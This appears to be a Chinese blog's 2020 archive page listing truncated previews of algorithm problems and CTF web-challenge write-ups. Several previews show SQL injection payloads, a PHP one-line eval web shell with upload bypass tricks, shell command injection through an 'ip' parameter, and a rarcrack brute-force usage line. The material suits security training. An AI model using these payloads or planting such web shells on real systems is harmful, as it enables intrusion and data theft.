年份:2020年

41 篇文章

任务调度器
题目 给定一个用字符数组表示的 CPU 需要执行的任务列表。其中包含使用大写的 A - Z 字母表示的26 种不同种类的任务。任务可以以任意顺序执行,并且每个任务都可以在 1 个单位时间内执行完。CPU 在任何一个单位时间内都可以执行一个任务,或者在待命状态。 然而,两个相同种类的任务之间必须有长度为 n 的冷却时间,因此至少有连续 n 个单位时间…
第 k 个数
题目 有些数的素因子只有 3,5,7,请设计一个算法找出第 k 个数。注意,不是必须有这些素因子,而是必须不包含其他的素因子。例如,前几个数按顺序应该是 1,3,5,7,9,15,21。 思考 这是丑数题 定义3个指针a3,a5,a7, a3指向的数字永远乘以3, a5指向的数字永远乘以5, a7指向的数字永远乘以7 初始化所有指针都指向第一个丑数…
设计循环双端队列
题目 MyCircularDeque(k):构造函数,双端队列的大小为k。 insertFront():将一个元素添加到双端队列头部。 如果操作成功返回 true。 insertLast():将一个元素添加到双端队列尾部。如果操作成功返回 true。 deleteFront():从双端队列头部删除一个元素。 如果操作成功返回 true。 delet…
[BJDCTF 2nd]简单注入
解题 访问robots.txt 访问hint.txt username处可以用\来转义单引号,password处使用sql语句整数型注入。 传入admin\和or/**/length(database())>0#会回显stronger字样 传入admin\和or/**/length(database())<0#会回显girl frien…
[极客大挑战 2019]HardSQL
知识 updatexml()函数 updatexml (XML_document, XPath_string, new_value);  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第…
[极客大挑战 2019]Upload
知识点 常用后缀 php,php3,php4,php5,phtml,pht 常用一句话 GIF89a? <script language="php">eval($_POST['laotun'])</script> 文件类型绕过 Content-type: image/jpeg 解题 .phtml上传成功 蚂剑连接 获取fla…
[GXYCTF2019]Ping Ping Ping 1
解题 打开题目,显示/?ip= 应该是传参 直接尝试?ip=127.0.0.1 果然是linux命令执行,尝试其他命令 ?ip=127.0.0.1;ls 成功执行 目标是打开flag.php ?ip=127.0.0.1;cat flag.php ?ip=127.0.0.1;cat index.php 回显/?ip= fxck your space!…
rarcrack暴力破解.rar
kali的rarcrack安装方法 直接使用代码,线上安装 sudo apt-get install rarcrack 安装libxml2-dev 包 sudo apt-get install libxml2-dev 操作 rarcrack 文件名 --threads 线程数 --type rar|zip|7z 如果你要修改rarcrack里面的字…
[ZJCTF 2019]NiZhuanSiWei 1
知识点 函数 isset() 函数 :检测变量是否设置 file_get_contents() 函数 :把整个文件读入一个字符串中 preg_match() 函数 :执行匹配正则表达式 data伪协议写入文件 data://text/plain filter读取源码 php://filter/read=convert.base64-encode/r…
[极客大挑战 2019]PHP1
解题过程 他说了备份,直接使用dirsearch扫目录 -u后面加网站 -e后面加语言 扫到www.zip压缩包 得到源文件: index.php包含如下代码: <?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?> cla…